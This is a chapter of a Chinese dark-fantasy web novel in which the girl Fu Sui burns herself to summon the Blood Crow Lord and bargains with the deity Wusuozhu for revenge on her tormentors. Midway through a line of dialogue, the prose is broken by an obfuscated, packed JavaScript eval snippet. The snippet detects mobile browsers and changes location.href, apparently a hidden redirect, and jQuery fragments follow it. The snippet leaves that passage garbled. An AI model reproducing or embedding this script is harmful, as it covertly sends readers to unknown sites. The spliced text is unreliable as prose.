“成神的道理很简单呀.....有人心甘情愿跪你,拜你,再供你,求你......你就成神、你就是神!”伏岁垂着身子,低声呢喃,“可若有神,又怎么会有天灾,又怎么死了这么多人呢?”她颤声道,“神被蒙蔽了双眼,我得亲自到祂跟前求求祂......”
大伙儿说:小伏岁啊,你出生时山神便降下神谕,高山林中百鸟齐鸣。如今饥灾杀人,你能使点神通不?
大伙儿还说:我们这些人靠山庇佑,它就是娘,所以这一生也没有办法。你走吧,离开娘,别回头,替我们好好活在外面。
她临行前,山火还在烧,土地大旱,饥灾的獠牙狠面已经见雏形。
他们说:去吧姑娘,我们不怪你。
可走时,又听见他们说“求求你”,还听见他们说“救救我”。伏岁宿水飡风,铁鞋踏破,一路北上行至煜都。她感觉自己有病,夜里老是梦见自己坐在尸骸堆成的山上,白天赶路还能听到大伙儿求她的祷告。
是,我知道,不要一直烦我,我会成神回来的。
煜都的贵人们指着她,笑呵呵地说:“宫堡难进,想见少君入神教,光看这些废书是没用的,你得靠其他路子。”
伏岁抱着别人扔掉的教书,问:“好人,能有什么方法?”
贵人们戴着金戒的手:“跟我走,我教你。”
于是伏岁离开了牛棚,住进了煜都的十丈软红处。那一夜大雨瓢泼,她学会的第一件事是叫“老爷”。可是她有病,脑里总能听见乡亲们的哭喊,有活人的,也有死人的,只要她喊别人“老爷”,就有鬼在叫嚣。
不对,太不对了!天啊......你们在乱喊什么啊?我叫伏岁啊,不叫“菩萨”。
女菩萨求神问佛,菩萨慈悲救我!君主是谁啊,你见着君主没有啊?“没有。”
女菩萨,有人要我们戴上链子下跪,这样就有饭吃!我们不想,求你显灵好不好啊?“对不起。”
粮食呢?吃的呢?等得好苦!“我没用!”
菩萨娘娘,我们给你磕头了。“别跪我。”
伏岁,出来跳舞了!
伏岁,胭脂化太淡不讨喜。
伏岁伏岁......
“伏岁在这。”
伏岁,忘了规矩!老爷们的赏钱怎么接?
“跪着接。”
菩萨显灵庇佑彩云救救苍生,娘娘娘娘赏口饭吃好不好?
伏岁出来新戏开台笑迎贵人,老爷老爷赏口饭吃好不好?
哈哈哈……老天爷!伏岁已至神都,但是何处有神?!无神、假神!天灾突降,只有下跪活命?!可是畜生!你骗我们!
分明下跪是因,天灾是果!
大雨如瀑,山风汹汹。
“你们将我供成了野菩萨,转而去跪这元凶!给人当狗?!”鬼火烧穿了她的戏服,烫破了她的脊背,伏岁仰面笑喊,“你们这群求我成神者啊!!”
累累骨殖越过拴着粮食的巨石,自山顶滚落,停在伏岁身侧。齐芜菁瞳孔骤缩,他在火和雨织就的幕帘中,瞧见鬼火汇聚在伏岁的身上,寸寸燃烧,越烧越烈!
“烧纸身,活傀魂。”戏服灰飞烟灭,长发如烛芯般燃尽,伏岁道,“鬼灯一线,呼君遍!①血鸦君,我养你拜你求你,如今该显灵了!”
音落,头顶立时电闪雷鸣,山林间的万木蓦然战栗!灰色的云浪之下,忽然掠飞过遮天的乌群,它们振翅嘹亮,声势浩大。
柳太公见天有异象,吓得钻了轿子,他催促道:“走、快走!”
这时,乌群猛然掉头,变成一把穿膛利刃,乌泱泱地从轿子穿过,一阵血雾爆开,柳太公被啄得浑身烂肉,腹腔处都空了!他呆坐在山巅的空轿中,像是还没反应过来似的。
乌群翱翔的速度仿佛离弦之箭,穿过林子,从山巅疾驰而下!林间的活人吓得魂飞魄散,纷纷摔滚下来。
“不对!”伏岁强忍火烧的剧痛睁眼,却骤然变色。
她在仓皇中召集傀儡,乌群却已在眨眼之间到了身前,变成一团黑色的漩涡,而后汇聚成了一个高大的人形!
竟还是个女人!
她一身玄色长袍,长发垂腰,背对着伏岁:“是你唤的本尊?”
就在这时,雨倏而停了,火也灭了,万物骤然陷入静止。
“我没有!我召的不是你!”伏岁被几只乌鸦啄伤,她瘫坐在泥水中,连连后退,“你是谁!回去!”
“召的不是我?”女人转过身,双目覆着一条黑纱绫,右手举着朵紫莲台,“那你胆子更大,敢借本尊的名号,行本尊的因果。”
“无、无无无啊、啊……”
无所住现身!
伏岁原本隐有猜想,但真确定是无所住时,她仍旧不可抑制地战栗、尖叫,心中惊涛骇浪,伏岁恐惧到几近昏厥!
洛蛟……洛蛟!
——齐芜菁惊得目眦欲裂,他想开口,却被怨灵控制着发不出声响。
无所住居高临下,哪怕瞧不见祂那双眼,也能感受到其间的森然寒意。
祂什么也没说,一只红眼乌鸦猝然俯冲而下,就在尖喙即将刺破头颅之时,伏岁不知哪里来的勇气,猛然抓住了无所住的衣摆!
无所住低头看她,那只乌鸦就爆裂成一根黑羽毛。
伏岁浑身剧烈地战栗,她牙关打架:“求、求、求你!帮、杀……报报、仇……他们……”
无所住没回答。
伏岁将舌头咬出血,强压恐惧。她紧攥着无所住不放,声嘶力竭道:“我要他们死!!”
“我要山外哪些欺辱过我们的杂种,全部都去死!”伏岁碰到身侧的头颅和残骸,不顾一切地尖叫道,“你教我,教我杀了外面的人,我什么都答应你!!你把我杀了吃了炖了都可以!只要你教我,让外面的那群畜生去死!!!”
“真敢提要求。”无所住平静地说,“你一个不人不鬼的野神,贱命一条,凭何得本尊相助?”
伏岁惶遽道:“不!不够,这里还有很多!所有人都可以去死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288977|164365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!我们,那么多,够了!喂给不周城,够了!”
这个条件似乎真的引起了无所住的兴趣,祂道:“你替他们做主了?”
伏岁双目充血:“没错!我是他们的菩萨,我做主,他们会听我的!我知道、我在书中看过的,不周城里的东西要吃自愿献祭的魂魄,我保证这些人很听话!”
“自作聪明,”无所住冷声讥嘲道,“天下有多少人让我本尊杀?又有多少宗门将和本尊作对?仅凭这点筹码,就想让本尊为你惹麻烦?”
“还有!我去找!我有办法!我看过书的,只要、只要我将他们的魂魄炼在一起,就能炼出很凶的东西!我知道当初三千——”伏岁惊恐地止住话头,瘫软伏地,“......我、我只需三百魂魄,这里的人就够了。你教我、如何杀光他们!一个不留!”
无所住道:“你不是想成神么?”
“鬼和神和人和畜生,没有半分区别!”伏岁恨声道,“我能做神,也能当鬼,还能当人和畜生,谁帮我,我便拜谁!”
无所住静静瞧着她,须臾,祂冷笑一声,什么也没说。须臾之间,祂的身体遽然瓦解,无数乌鸦从祂体内飞出,化作鸦群消失在山间。
悬滞在半空的雨“哗啦啦”冲刷而下,鬼火被大雨浇灭,哭嚎声再次回荡在群山之间。伏岁呆呆坐在地上,仿佛适才无所住的出现,只是一场荒诞的梦。
就在这时,一只红目灼灼的独脚乌跳进泥坑之中。
隔着雨,伏岁还没来得及看清,独脚乌的两颗红眼珠却猛地落出眼眶,它立时倒地死了。
伏岁颤着双手,捧起两颗红眼珠。在皮肤接触的刹那,她的身上再次烧起熊熊大火,活人的尖叫声在火光之外,变得无比遥远,她跪坐其间,启齿轻喊:
“烧纸身,活傀魂。”
“鬼灯一线,呼君遍。”②
咔咔——
伏岁听到外面的声音变了调,仿佛见到了很可怕的东西。一个身影笼罩下来,纸傀站在伏岁的跟前,与她隔着一层火,将接过的眼睛安在了自己脸上。
——它的脸骤然有了血色,五官被一笔一画重塑起来,不过几息之间,他竟褪去纸身,成了个有血有肉的人!
血鸦君临世!
众人瞧见此番光景,魂惊胆颤。
嘭、嘭!
刹那间,直立的人全部跪倒在地!他们左胸处炸开血雾,里面空空如也。
泥水红了,天上的雨也红了。
“血鸦君......”伏岁胸腔处皮肉外翻,仿佛一朵绽开的花,“我拿性命与无所住做了交易,如今只能、只能靠.......”她身上的皮肉都被燃尽,变成皱巴巴的干壳,气力将竭,已到了弥留之际。
然而血鸦君却猝然抵住伏岁将倾的身体,说着蹩脚的人语:“交易,祂,教你。我,不是。不死。”
仿佛正要印证他那句“不死”,却见前方倒地的所有尸骸抖动起来,而后骤然从四面汇聚滚来!
一时间,伏岁幡然醒悟!